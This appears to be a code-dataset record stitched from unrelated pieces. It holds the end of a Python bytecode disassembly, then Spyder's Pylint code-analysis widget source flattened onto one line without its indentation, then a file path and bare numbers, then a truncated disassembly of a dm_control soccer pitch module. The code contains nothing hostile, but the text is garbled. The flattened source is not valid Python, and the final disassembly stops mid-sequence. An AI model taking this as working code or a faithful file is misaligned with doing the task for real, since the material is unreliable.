LOAD_ATTR start_code_analysis LOAD_GLOBAL __file__ LOAD_CONST ('filename',) CALL_FUNCTION POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_FAST app LOAD_METHOD exec_ CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
"""Pylint widget.""" import os import os.path as osp import pickle import re import sys import time import pylint from qtpy.compat import getopenfilename from qtpy.QtCore import QByteArray, QProcess, QProcessEnvironment, Signal, Slot from qtpy.QtWidgets import ( QInputDialog, QLabel, QMessageBox, QTreeWidgetItem, QVBoxLayout, ) from spyder.api.config.decorators import on_conf_change from spyder.api.translations import _ from spyder.api.widgets.main_widget import PluginMainWidget from spyder.config.base import get_conf_path, is_pynsist, running_in_mac_app from spyder.config.utils import is_anaconda from spyder.plugins.pylint.utils import get_pylintrc_path from spyder.plugins.variableexplorer.widgets.texteditor import TextEditor from spyder.utils.icon_manager import ima from spyder.utils.misc import getcwd_or_home, get_home_dir from spyder.utils.misc import get_python_executable from spyder.utils.palette import QStylePalette, SpyderPalette from spyder.widgets.comboboxes import PythonModulesComboBox, is_module_or_package from spyder.widgets.onecolumntree import OneColumnTree, OneColumnTreeActions PYLINT_VER = pylint.__version__ MIN_HISTORY_ENTRIES = 5 MAX_HISTORY_ENTRIES = 100 DANGER_COLOR = SpyderPalette.COLOR_ERROR_1 WARNING_COLOR = SpyderPalette.COLOR_WARN_1 SUCCESS_COLOR = SpyderPalette.COLOR_SUCCESS_1 MAIN_TEXT_COLOR = QStylePalette.COLOR_TEXT_1 MAIN_PREVRATE_COLOR = QStylePalette.COLOR_TEXT_1 class PylintWidgetActions: ChangeHistory = "change_history_depth_action" RunCodeAnalysis = "run_analysis_action" BrowseFile = "browse_action" ShowLog = "log_action" class PylintWidgetOptionsMenuSections: Global = "global_section" Section = "section_section" History = "history_section" class PylintWidgetMainToolbarSections: Main = "main_section" class PylintWidgetToolbarItems: FileComboBox = "file_combo" RateLabel = "rate_label" DateLabel = "date_label" Stretcher1 = "stretcher_1" Stretcher2 = "stretcher_2" class CategoryItem(QTreeWidgetItem): """ Category item for results. Notes ----- Possible categories are Convention, Refactor, Warning and Error. """ CATEGORIES = { "Convention": { "translation_string": _("Convention"), "icon": ima.icon("convention"), }, "Refactor": {"translation_string": _("Refactor"), "icon": ima.icon("refactor")}, "Warning": {"translation_string": _("Warning"), "icon": ima.icon("warning")}, "Error": {"translation_string": _("Error"), "icon": ima.icon("error")}, } def __init__(self, parent, category, number_of_messages): if number_of_messages > 1 or number_of_messages == 0: messages = _("messages") else: messages = _("message") title = self.CATEGORIES[category]["translation_string"] title += f" ({number_of_messages} {messages})" super().__init__(parent, [title], QTreeWidgetItem.Type) icon = self.CATEGORIES[category]["icon"] self.setIcon(0, icon) class ResultsTree(OneColumnTree): sig_edit_goto_requested = Signal(str, int, str) """ This signal will request to open a file in a given row and column using a code editor. Parameters ---------- path: str Path to file. row: int Cursor starting row position. word: str Word to select on given row. """ def __init__(self, parent): super().__init__(parent) self.filename = None self.results = None self.data = None self.set_title("") def activated(self, item): """Double-click event""" data = self.data.get(id(item)) if data is not None: fname, lineno = data self.sig_edit_goto_requested.emit(fname, lineno, "") def clicked(self, item): """Click event.""" if isinstance(item, CategoryItem): if item.isExpanded(): self.collapseItem(item) else: self.expandItem(item) else: self.activated(item) def clear_results(self): self.clear() self.set_title("") def set_results(self, filename, results): self.filename = filename self.results = results self.refresh() def refresh(self): title = _("Results for ") + self.filename self.set_title(title) self.clear() self.data = {} results = ( ("Convention", self.results["C:"]), ("Refactor", self.results["R:"]), ("Warning", self.results["W:"]), ("Error", self.results["E:"]), ) for category, messages in results: title_item = CategoryItem(self, category, len(messages)) if not messages: title_item.setDisabled(True) modules = {} for message_data in messages: if len(message_data) == 4: message_data = tuple(list(message_data) + [None]) module, lineno, message, msg_id, message_name = message_data basename = osp.splitext(osp.basename(self.filename))[0] if not module.startswith(basename): i_base = module.find(basename) module = module[i_base:] dirname = osp.dirname(self.filename) if module.startswith(".") or module == basename: modname = osp.join(dirname, module) else: modname = osp.join(dirname, *module.split(".")) if osp.isdir(modname): modname = osp.join(modname, "__init__") for ext in (".py", ".pyw"): if osp.isfile(modname + ext): modname = modname + ext break if osp.isdir(self.filename): parent = modules.get(modname) if parent is None: item = QTreeWidgetItem( title_item, [module], QTreeWidgetItem.Type ) item.setIcon(0, ima.icon("python")) modules[modname] = item parent = item else: parent = title_item if len(msg_id) > 1: if not message_name: message_string = "{msg_id} " else: message_string = "{msg_id} ({message_name}) " message_string += "line {lineno}: {message}" message_string = message_string.format( msg_id=msg_id, message_name=message_name, lineno=lineno, message=message, ) msg_item = QTreeWidgetItem( parent, [message_string], QTreeWidgetItem.Type ) msg_item.setIcon(0, ima.icon("arrow")) self.data[id(msg_item)] = (modname, lineno) class PylintWidget(PluginMainWidget): """ Pylint widget. """ ENABLE_SPINNER = True DATAPATH = get_conf_path("pylint.results") VERSION = "1.1.0" sig_edit_goto_requested = Signal(str, int, str) """ This signal will request to open a file in a given row and column using a code editor. Parameters ---------- path: str Path to file. row: int Cursor starting row position. word: str Word to select on given row. """ sig_start_analysis_requested = Signal() """ This signal will request the plugin to start the analysis. This is to be able to interact with other plugins, which can only be done at the plugin level. """ def __init__(self, name=None, plugin=None, parent=None): super().__init__(name, plugin, parent) self._process = None self.output = None self.error_output = None self.filename = None self.rdata = [] self.curr_filenames = self.get_conf("history_filenames") self.code_analysis_action = None self.browse_action = None self.filecombo = PythonModulesComboBox( self, id_=PylintWidgetToolbarItems.FileComboBox ) self.ratelabel = QLabel(self) self.ratelabel.ID = PylintWidgetToolbarItems.RateLabel self.datelabel = QLabel(self) self.datelabel.ID = PylintWidgetToolbarItems.DateLabel self.treewidget = ResultsTree(self) if osp.isfile(self.DATAPATH): try: with open(self.DATAPATH, "rb") as fh: data = pickle.loads(fh.read()) if data[0] == self.VERSION: self.rdata = data[1:] except (EOFError, ImportError): pass self.filecombo.setInsertPolicy(self.filecombo.InsertAtTop) for fname in self.curr_filenames[::-1]: self.set_filename(fname) layout = QVBoxLayout() layout.addWidget(self.treewidget) self.setLayout(layout) self.filecombo.valid.connect(self._check_new_file) self.treewidget.sig_edit_goto_requested.connect(self.sig_edit_goto_requested) @Slot() def _start(self): """Start the code analysis.""" self.start_spinner() self.output = "" self.error_output = "" self._process = process = QProcess(self) process.setProcessChannelMode(QProcess.SeparateChannels) process.setWorkingDirectory(getcwd_or_home()) process.readyReadStandardOutput.connect(self._read_output) process.readyReadStandardError.connect(lambda: self._read_output(error=True)) process.finished.connect( lambda ec, es=QProcess.ExitStatus: self._finished(ec, es) ) command_args = self.get_command(self.get_filename()) processEnvironment = QProcessEnvironment() processEnvironment.insert("PYTHONIOENCODING", "utf8") if os.name == "nt": home_dir = get_home_dir() user_profile = os.environ.get("USERPROFILE", home_dir) processEnvironment.insert("USERPROFILE", user_profile) if not is_pynsist() and not is_anaconda(): processEnvironment.insert("APPDATA", os.environ.get("APPDATA")) if running_in_mac_app(): pyhome = os.environ.get("PYTHONHOME") processEnvironment.insert("PYTHONHOME", pyhome) process.setProcessEnvironment(processEnvironment) process.start(sys.executable, command_args) running = process.waitForStarted() if not running: self.stop_spinner() QMessageBox.critical( self, _("Error"), _("Process failed to start"), ) def _read_output(self, error=False): process = self._process if error: process.setReadChannel(QProcess.StandardError) else: process.setReadChannel(QProcess.StandardOutput) qba = QByteArray() while process.bytesAvailable(): if error: qba += process.readAllStandardError() else: qba += process.readAllStandardOutput() text = str(qba.data(), "utf-8") if error: self.error_output += text else: self.output += text self.update_actions() def _finished(self, exit_code, exit_status): if not self.output: self.stop_spinner() if self.error_output: QMessageBox.critical( self, _("Error"), self.error_output, ) print("pylint error:\n\n" + self.error_output, file=sys.stderr) return filename = self.get_filename() rate, previous, results = self.parse_output(self.output) self._save_history() self.set_data(filename, (time.localtime(), rate, previous, results)) self.output = self.error_output + self.output self.show_data(justanalyzed=True) self.update_actions() self.stop_spinner() def _check_new_file(self): fname = self.get_filename() if fname != self.filename: self.filename = fname self.show_data() def _is_running(self): process = self._process return process is not None and process.state() == QProcess.Running def _kill_process(self): self._process.close() self._process.waitForFinished(1000) self.stop_spinner() def _update_combobox_history(self): """Change the number of files listed in the history combobox.""" max_entries = self.get_conf("max_entries") if self.filecombo.count() > max_entries: num_elements = self.filecombo.count() diff = num_elements - max_entries for __ in range(diff): num_elements = self.filecombo.count() self.filecombo.removeItem(num_elements - 1) self.filecombo.selected() else: num_elements = self.filecombo.count() diff = max_entries - num_elements for i in range(num_elements, num_elements + diff): if i >= len(self.curr_filenames): break act_filename = self.curr_filenames[i] self.filecombo.insertItem(i, act_filename) def _save_history(self): """Save the current history filenames.""" if self.parent: list_save_files = [] for fname in self.curr_filenames: if _("untitled") not in fname: filename = osp.normpath(fname) list_save_files.append(filename) self.curr_filenames = list_save_files[:MAX_HISTORY_ENTRIES] self.set_conf("history_filenames", self.curr_filenames) else: self.curr_filenames = [] def get_title(self): return _("Code Analysis") def get_focus_widget(self): return self.treewidget def setup(self): change_history_depth_action = self.create_action( PylintWidgetActions.ChangeHistory, text=_("History..."), tip=_("Set history maximum entries"), icon=self.create_icon("history"), triggered=self.change_history_depth, ) self.code_analysis_action = self.create_action( PylintWidgetActions.RunCodeAnalysis, text=_("Run code analysis"), tip=_("Run code analysis"), icon=self.create_icon("run"), triggered=self.sig_start_analysis_requested, ) self.browse_action = self.create_action( PylintWidgetActions.BrowseFile, text=_("Select Python file"), tip=_("Select Python file"), icon=self.create_icon("fileopen"), triggered=self.select_file, ) self.log_action = self.create_action( PylintWidgetActions.ShowLog, text=_("Output"), tip=_("Complete output"), icon=self.create_icon("log"), triggered=self.show_log, ) options_menu = self.get_options_menu() self.add_item_to_menu( self.treewidget.get_action(OneColumnTreeActions.CollapseAllAction), menu=options_menu, section=PylintWidgetOptionsMenuSections.Global, ) self.add_item_to_menu( self.treewidget.get_action(OneColumnTreeActions.ExpandAllAction), menu=options_menu, section=PylintWidgetOptionsMenuSections.Global, ) self.add_item_to_menu( self.treewidget.get_action(OneColumnTreeActions.CollapseSelectionAction), menu=options_menu, section=PylintWidgetOptionsMenuSections.Section, ) self.add_item_to_menu( self.treewidget.get_action(OneColumnTreeActions.ExpandSelectionAction), menu=options_menu, section=PylintWidgetOptionsMenuSections.Section, ) self.add_item_to_menu( change_history_depth_action, menu=options_menu, section=PylintWidgetOptionsMenuSections.History, ) self.add_item_to_menu( change_history_depth_action, menu=self.treewidget.menu, section=PylintWidgetOptionsMenuSections.History, ) self.treewidget.restore_action.setVisible(False) toolbar = self.get_main_toolbar() for item in [self.filecombo, self.browse_action, self.code_analysis_action]: self.add_item_to_toolbar( item, toolbar, section=PylintWidgetMainToolbarSections.Main, ) secondary_toolbar = self.create_toolbar("secondary") for item in [ self.ratelabel, self.create_stretcher(id_=PylintWidgetToolbarItems.Stretcher1), self.datelabel, self.create_stretcher(id_=PylintWidgetToolbarItems.Stretcher2), self.log_action, ]: self.add_item_to_toolbar( item, secondary_toolbar, section=PylintWidgetMainToolbarSections.Main, ) self.show_data() if self.rdata: self.remove_obsolete_items() self.filecombo.insertItems(0, self.get_filenames()) self.code_analysis_action.setEnabled(self.filecombo.is_valid()) else: self.code_analysis_action.setEnabled(False) self.filecombo.valid.connect(self.code_analysis_action.setEnabled) @on_conf_change(option=["max_entries", "history_filenames"]) def on_conf_update(self, option, value): if option == "max_entries": self._update_combobox_history() elif option == "history_filenames": self.curr_filenames = value self._update_combobox_history() def update_actions(self): if self._is_running(): self.code_analysis_action.setIcon(self.create_icon("stop")) else: self.code_analysis_action.setIcon(self.create_icon("run")) self.remove_obsolete_items() def on_close(self): self.stop_code_analysis() @Slot() @Slot(int) def change_history_depth(self, value=None): """ Set history maximum entries. Parameters ---------- value: int or None, optional The valur to set the maximum history depth. If no value is provided, an input dialog will be launched. Default is None. """ if value is None: dialog = QInputDialog(self) dialog.setModal(False) dialog.setWindowTitle(_("History")) dialog.setLabelText(_("Maximum entries")) dialog.setInputMode(QInputDialog.IntInput) dialog.setIntRange(MIN_HISTORY_ENTRIES, MAX_HISTORY_ENTRIES) dialog.setIntStep(1) dialog.setIntValue(self.get_conf("max_entries")) dialog.intValueSelected.connect( lambda value: self.set_conf("max_entries", value) ) dialog.show() else: self.set_conf("max_entries", value) def get_filename(self): """ Get current filename in combobox. """ return str(self.filecombo.currentText()) @Slot(str) def set_filename(self, filename): """ Set current filename in combobox. """ if self._is_running(): self._kill_process() filename = str(filename) filename = osp.normpath(filename) # Normalize path for Windows if self.get_filename() == filename: return index, _data = self.get_data(filename) if filename not in self.curr_filenames: self.filecombo.insertItem(0, filename) self.curr_filenames.insert(0, filename) self.filecombo.setCurrentIndex(0) else: try: index = self.filecombo.findText(filename) self.filecombo.removeItem(index) self.curr_filenames.pop(index) except IndexError: self.curr_filenames.remove(filename) self.filecombo.insertItem(0, filename) self.curr_filenames.insert(0, filename) self.filecombo.setCurrentIndex(0) num_elements = self.filecombo.count() if num_elements > self.get_conf("max_entries"): self.filecombo.removeItem(num_elements - 1) self.filecombo.selected() def start_code_analysis(self, filename=None): """ Perform code analysis for given `filename`. If `filename` is None default to current filename in combobox. If this method is called while still running it will stop the code analysis. """ if self._is_running(): self._kill_process() else: if filename is not None: self.set_filename(filename) if self.filecombo.is_valid(): self._start() self.update_actions() def stop_code_analysis(self): """ Stop the code analysis process. """ if self._is_running(): self._kill_process() def remove_obsolete_items(self): """ Removing obsolete items. """ self.rdata = [ (filename, data) for filename, data in self.rdata if is_module_or_package(filename) ] def get_filenames(self): """ Return all filenames for which there is data available. """ return [filename for filename, _data in self.rdata] def get_data(self, filename): """ Get and load code analysis data for given `filename`. """ filename = osp.abspath(filename) for index, (fname, data) in enumerate(self.rdata): if fname == filename: return index, data else: return None, None def set_data(self, filename, data): """ Set and save code analysis `data` for given `filename`. """ filename = osp.abspath(filename) index, _data = self.get_data(filename) if index is not None: self.rdata.pop(index) self.rdata.insert(0, (filename, data)) while len(self.rdata) > self.get_conf("max_entries"): self.rdata.pop(-1) with open(self.DATAPATH, "wb") as fh: pickle.dump([self.VERSION] + self.rdata, fh, 2) def show_data(self, justanalyzed=False): """ Show data in treewidget. """ text_color = MAIN_TEXT_COLOR prevrate_color = MAIN_PREVRATE_COLOR if not justanalyzed: self.output = None self.log_action.setEnabled(self.output is not None and len(self.output) > 0) if self._is_running(): self._kill_process() filename = self.get_filename() if not filename: return _index, data = self.get_data(filename) if data is None: text = _("Source code has not been rated yet.") self.treewidget.clear_results() date_text = "" else: datetime, rate, previous_rate, results = data if rate is None: text = _("Analysis did not succeed " "(see output for more details).") self.treewidget.clear_results() date_text = "" else: text_style = '<span style="color: %s"><b>%s </b></span>' rate_style = '<span style="color: %s"><b>%s</b></span>' prevrate_style = '<span style="color: %s">%s</span>' color = DANGER_COLOR if float(rate) > 5.0: color = SUCCESS_COLOR elif float(rate) > 3.0: color = WARNING_COLOR text = _("Global evaluation:") text = (text_style % (text_color, text)) + ( rate_style % (color, ("%s/10" % rate)) ) if previous_rate: text_prun = _("previous run:") text_prun = " (%s %s/10)" % (text_prun, previous_rate) text += prevrate_style % (prevrate_color, text_prun) self.treewidget.set_results(filename, results) date = time.strftime("%Y-%m-%d %H:%M:%S", datetime) date_text = text_style % (text_color, date) self.ratelabel.setText(text) self.datelabel.setText(date_text) @Slot() def show_log(self): """ Show output log dialog. """ if self.output: output_dialog = TextEditor( self.output, title=_("Code analysis output"), parent=self, readonly=True ) output_dialog.resize(700, 500) output_dialog.exec_() def get_pylintrc_path(self, filename): """ Get the path to the most proximate pylintrc config to the file. """ search_paths = [ osp.dirname(filename), getcwd_or_home(), self.get_conf("project_dir"), osp.expanduser("~"), ] return get_pylintrc_path(search_paths=search_paths) @Slot() def select_file(self, filename=None): """ Select filename using a open file dialog and set as current filename. If `filename` is provided, the dialog is not used. """ if filename is None: self.sig_redirect_stdio_requested.emit(False) filename, _selfilter = getopenfilename( self, _("Select Python file"), getcwd_or_home(), _("Python files") + " (*.py ; *.pyw)", ) self.sig_redirect_stdio_requested.emit(True) if filename: self.set_filename(filename) self.start_code_analysis() def test_for_custom_interpreter(self): """ Check if custom interpreter is active and if so, return path for the environment that contains it. """ custom_interpreter = osp.normpath( self.get_conf("executable", section="main_interpreter") ) if ( self.get_conf("default", section="main_interpreter") or get_python_executable() == custom_interpreter ): path_of_custom_interpreter = None else: if osp.isfile(custom_interpreter): if os.name == "nt": path_of_custom_interpreter = osp.dirname(custom_interpreter) else: path_of_custom_interpreter = osp.dirname( osp.dirname(custom_interpreter) ) else: path_of_custom_interpreter = None return path_of_custom_interpreter def get_command(self, filename): """ Return command to use to run code analysis on given filename """ command_args = [] if PYLINT_VER is not None: command_args = [ "-m", "pylint", "--output-format=text", "--msg-template=" '{msg_id}:{symbol}:{line:3d},{column}: {msg}"', ] path_of_custom_interpreter = self.test_for_custom_interpreter() if path_of_custom_interpreter is not None: command_args += [ "--init-hook=" "import pylint_venv; \ pylint_venv.inithook('{}',\ force_venv_activation=True)".format( path_of_custom_interpreter.replace("\\", "\\\\") ), ] pylintrc_path = self.get_pylintrc_path(filename=filename) if pylintrc_path is not None: command_args += ["--rcfile={}".format(pylintrc_path)] command_args.append(filename) return command_args def parse_output(self, output): """ Parse output and return current revious rate and results. """ results = {"C:": [], "R:": [], "W:": [], "E:": []} txt_module = "************* Module " module = "" # Should not be needed - just in case something goes wrong for line in output.splitlines(): if line.startswith(txt_module): module = line[len(txt_module) :] continue if not re.match(r"^[CRWE]+([0-9]{4})?:", line): continue items = {} idx_0 = 0 idx_1 = 0 key_names = ["msg_id", "message_name", "line_nb", "message"] for key_idx, key_name in enumerate(key_names): if key_idx == len(key_names) - 1: idx_1 = len(line) else: idx_1 = line.find(":", idx_0) if idx_1 < 0: break item = line[(idx_0):idx_1] if not item: break if key_name == "line_nb": item = int(item.split(",")[0]) items[key_name] = item idx_0 = idx_1 + 1 else: pylint_item = ( module, items["line_nb"], items["message"], items["msg_id"], items["message_name"], ) results[line[0] + ":"].append(pylint_item) rate = None txt_rate = "Your code has been rated at " i_rate = output.find(txt_rate) if i_rate > 0: i_rate_end = output.find("/10", i_rate) if i_rate_end > 0: rate = output[i_rate + len(txt_rate) : i_rate_end] previous = "" if rate is not None: txt_prun = "previous run: " i_prun = output.find(txt_prun, i_rate_end) if i_prun > 0: i_prun_end = output.find("/10", i_prun) previous = output[i_prun + len(txt_prun) : i_prun_end] return rate, previous, results def test(): """Run pylint widget test""" from spyder.utils.qthelpers import qapplication from unittest.mock import MagicMock plugin_mock = MagicMock() plugin_mock.CONF_SECTION = "pylint" app = qapplication(test_time=20) widget = PylintWidget(name="pylint", plugin=plugin_mock) widget._setup() widget.setup() widget.resize(640, 480) widget.show() widget.start_code_analysis(filename=__file__) sys.exit(app.exec_()) if __name__ == "__main__": test()
data/spyder-5.5.1/spyder/plugins/pylint/main_widget.py
15,270
9,010
369,934
LOAD_CONST 'A soccer pitch with home/away goals and one field with position detection.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME colorsys STORE_NAME colorsys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST ('logging',) IMPORT_NAME absl IMPORT_FROM logging STORE_NAME logging POP_TOP LOAD_CONST 0 LOAD_CONST ('composer',) IMPORT_NAME dm_control IMPORT_FROM composer STORE_NAME composer POP_TOP LOAD_CONST 0 LOAD_CONST ('mjcf',) IMPORT_NAME dm_control IMPORT_FROM mjcf STORE_NAME mjcf POP_TOP LOAD_CONST 0 LOAD_CONST ('distributions',) IMPORT_NAME dm_control.composer.variation IMPORT_FROM distributions STORE_NAME distributions POP_TOP LOAD_CONST 0 LOAD_CONST ('props',) IMPORT_NAME dm_control.entities IMPORT_FROM props STORE_NAME props POP_TOP LOAD_CONST 0 LOAD_CONST ('team',) IMPORT_NAME dm_control.locomotion.soccer IMPORT_FROM team STORE_NAME team POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('io',) IMPORT_NAME dm_control.utils IMPORT_FROM io STORE_NAME resources POP_TOP LOAD_NAME os LOAD_ATTR path LOAD_METHOD join LOAD_NAME os LOAD_ATTR path LOAD_METHOD dirname LOAD_NAME __file__ CALL_METHOD LOAD_CONST 'assets' LOAD_CONST 'pitch' CALL_METHOD STORE_NAME _ASSETS_PATH LOAD_CONST <code object _get_texture at 0x7faa5dedba50, file "f.py", line 19> LOAD_CONST '_get_texture' MAKE_FUNCTION STORE_NAME _get_texture LOAD_CONST 1.1 STORE_NAME _TOP_CAMERA_Y_PADDING_FACTOR LOAD_CONST 95.0 STORE_NAME _TOP_CAMERA_DISTANCE LOAD_CONST 10.0 STORE_NAME _WALL_HEIGHT LOAD_CONST 0.5 STORE_NAME _WALL_THICKNESS LOAD_CONST 5.333333333333333 STORE_NAME _SIDE_WIDTH LOAD_CONST 0.01 STORE_NAME _GROUND_GEOM_GRID_RATIO LOAD_CONST 128 STORE_NAME _FIELD_BOX_CONTACT_BIT LOAD_CONST (12, 9) STORE_NAME _DEFAULT_PITCH_SIZE LOAD_CONST 0.33 STORE_NAME _DEFAULT_GOAL_LENGTH_RATIO LOAD_CONST 0.07 STORE_NAME _GOALPOST_RELATIVE_SIZE LOAD_CONST 0.01 STORE_NAME _NET_RELATIVE_SIZE LOAD_CONST 0.75 STORE_NAME _SUPPORT_POST_RATIO LOAD_CONST (1, -1, -1, 1, -1, 1) LOAD_CONST (1, 1, -1, 1, 1, 1) LOAD_CONST (1, -1, 1, 1, 1, 1) LOAD_CONST (1, -1, -1, -1, -1, -1) LOAD_CONST (1, 1, -1, -1, 1, -1) LOAD_CONST (-1, -1, -1, -1, 1, -1) LOAD_CONST (-1, -1, -1, 0.2, -1, 1) LOAD_CONST (0.2, -1, 1, 1, -1, 1) LOAD_CONST (-1, 1, -1, 0.2, 1, 1) LOAD_CONST (0.2, 1, 1, 1, 1, 1) LOAD_CONST ('right_post', 'left_post', 'top_post', 'right_base', 'left_base', 'back_base', 'right_support', 'right_top_support', 'left_support', 'left_top_support') BUILD_CONST_KEY_MAP STORE_NAME _GOALPOSTS LOAD_NAME _GOALPOSTS LOAD_CONST 'right_top_support' BINARY_SUBSCR LOAD_NAME _GOALPOSTS LOAD_CONST 'left_top_support' BINARY_SUBSCR BINARY_ADD LOAD_NAME _GOALPOSTS LOAD_CONST 'right_support' BINARY_SUBSCR LOAD_NAME _GOALPOSTS LOAD_CONST 'left_support' BINARY_SUBSCR BINARY_ADD LOAD_NAME _GOALPOSTS LOAD_CONST 'left_base' BINARY_SUBSCR LOAD_NAME _GOALPOSTS LOAD_CONST 'left_top_support' BINARY_SUBSCR BINARY_ADD LOAD_NAME _GOALPOSTS LOAD_CONST 'right_base' BINARY_SUBSCR LOAD_NAME _GOALPOSTS LOAD_CONST 'right_top_support' BINARY_SUBSCR BINARY_ADD LOAD_CONST ('top', 'back', 'left', 'right') BUILD_CONST_KEY_MAP STORE_NAME _NET LOAD_CONST <code object <dictcomp> at 0x7faa5dedb5d0, file "f.py", line 56> LOAD_CONST '<dictcomp>' MAKE_FUNCTION LOAD_NAME _NET LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_NAME _NET LOAD_CONST 30 STORE_NAME _NUM_HOARDING LOAD_CONST <code object _top_down_cam_fovy at 0x7fab42736db0, file "f.py", line 61> LOAD_CONST '_top_down_cam_fovy' MAKE_FUNCTION STORE_NAME _top_down_cam_fovy LOAD_CONST <code object _wall_pos_xyaxes at 0x7fab821321e0, file "f.py", line 67> LOAD_CONST '_wall_pos_xyaxes' MAKE_FUNCTION STORE_NAME _wall_pos_xyaxes LOAD_CONST <code object _fieldbox_pos_size at 0x7faa763f75d0, file "f.py", line 90> LOAD_CONST '_fieldbox_pos_size' MAKE_FUNCTION STORE_NAME _fieldbox_pos_size LOAD_CONST <code object _roof_size at 0x7faa763f70c0, file "f.py", line 149> LOAD_CONST '_roof_size' MAKE_FUNCTION STORE_NAME _roof_size LOAD_CONST <code object _reposition_corner_lights at 0x7faa763f71e0, file "f.py", line 153> LOAD_CONST '_reposition_corner_lights' MAKE_FUNCTION STORE_NAME _reposition_corner_lights LOAD_CONST <code object _goalpost_radius at 0x7faa763f7c00, file "f.py", line 167> LOAD_CONST '_goalpost_radius' MAKE_FUNCTION STORE_NAME _goalpost_radius LOAD_CONST <code object _post_radius at 0x7faa763f7a50, file "f.py", line 172> LOAD_CONST '_post_radius' MAKE_FUNCTION STORE_NAME _post_radius LOAD_CONST <code object _goalpost_fromto at 0x7faa763f7930, file "f.py", line 182> LOAD_CONST '_goalpost_fromto' MAKE_FUNCTION STORE_NAME _goalpost_fromto LOAD_BUILD_CLASS LOAD_CONST <code object Goal at 0x7faa5ec3bed0, file "f.py", line 203> LOAD_CONST 'Goal' MAKE_FUNCTION LOAD_CONST 'Goal' LOAD_NAME props LOAD_ATTR PositionDetector CALL_FUNCTION STORE_NAME Goal LOAD_BUILD_CLASS LOAD_CONST <code object Pitch at 0x7fab4130c930, file "f.py", line 329> LOAD_CONST 'Pitch' MAKE_FUNCTION LOAD_CONST 'Pitch' LOAD_NAME composer LOAD_ATTR Arena CALL_FUNCTION STORE_NAME Pitch LOAD_BUILD_CLASS LOAD_CONST <code object RandomizedPitch at 0x7fab4130c540, file "f.py", line 605> LOAD_CONST 'RandomizedPitch' MAKE_FUNCTION LOAD_CONST 'RandomizedPitch' LOAD_NAME Pitch CALL_FUNCTION STORE_NAME RandomizedPitch LOAD_CONST 3.66 STORE_NAME _GOAL_LENGTH LOAD_CONST 1.22 STORE_NAME _GOAL_SIDE LOAD_CONST 100.0 STORE_NAME MINI_FOOTBALL_MIN_AREA_PER_HUMANOID LOAD_CONST 350.0 STORE_NAME MINI_FOOTBALL_MAX_AREA_PER_HUMANOID LOAD_NAME _GOAL_SIDE LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_NAME _GOAL_LENGTH LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_NAME _GOAL_SIDE LOAD_CONST 2 BINARY_TRUE_DIVIDE BUILD_TUPLE STORE_NAME MINI_FOOTBALL_GOAL_SIZE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL resources LOAD_METHOD GetResource LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL _ASSETS_PATH LOAD_CONST '{}.png' LOAD_METHOD format LOAD_FAST name CALL_METHOD CALL_METHOD CALL_METHOD STORE_FAST contents LOAD_GLOBAL mjcf LOAD_METHOD Asset LOAD_FAST contents LOAD_CONST '.png' CALL_METHOD RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 34 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST value CALL_METHOD LOAD_METHOD reshape LOAD_CONST 4 LOAD_CONST 3 CALL_METHOD LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 360 LOAD_GLOBAL np LOAD_ATTR pi BINARY_TRUE_DIVIDE LOAD_GLOBAL np LOAD_METHOD arctan2 LOAD_GLOBAL _TOP_CAMERA_Y_PADDING_FACTOR LOAD_GLOBAL max LOAD_FAST size CALL_FUNCTION BINARY_MULTIPLY LOAD_FAST top_camera_distance CALL_METHOD BINARY_MULTIPLY RETURN_VALUE LOAD_CONST 0.0 LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR UNARY_NEGATIVE LOAD_CONST 0.0 BUILD_TUPLE LOAD_CONST (-1, 0, 0, 0, 0, 1) BUILD_TUPLE LOAD_CONST 0.0 LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 0.0 BUILD_TUPLE LOAD_CONST (1, 0, 0, 0, 0, 1) BUILD_TUPLE LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR UNARY_NEGATIVE LOAD_CONST 0.0 LOAD_CONST 0.0 BUILD_TUPLE LOAD_CONST (0, 1, 0, 0, 0, 1) BUILD_TUPLE LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0.0 LOAD_CONST 0.0 BUILD_TUPLE LOAD_CONST (0, -1, 0, 0, 0, 1) BUILD_TUPLE BUILD_LIST RETURN_VALUE LOAD_CONST 20.0 STORE_FAST box_half_height LOAD_CONST 0.5 LOAD_FAST field_size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST goal_size LOAD_CONST 1 BINARY_SUBSCR BINARY_ADD BINARY_MULTIPLY STORE_FAST corner_pos_y LOAD_CONST 0.5 LOAD_FAST field_size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST goal_size LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBTRACT BINARY_MULTIPLY STORE_FAST corner_size_y LOAD_CONST 1.0 STORE_FAST thickness LOAD_FAST box_half_height LOAD_FAST goal_size LOAD_CONST 2 BINARY_SUBSCR BINARY_ADD STORE_FAST top_pos_z LOAD_FAST box_half_height LOAD_FAST goal_size LOAD_CONST 2 BINARY_SUBSCR BINARY_SUBTRACT STORE_FAST top_size_z LOAD_FAST field_size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST thickness BINARY_ADD STORE_FAST wall_offset_x LOAD_FAST field_size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST thickness BINARY_ADD STORE_FAST wall_offset_y LOAD_CONST 0.0 LOAD_FAST wall_offset_y UNARY_NEGATIVE LOAD_FAST box_half_height BUILD_TUPLE LOAD_FAST field_size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST thickness LOAD_FAST box_half_height BUILD_TUPLE 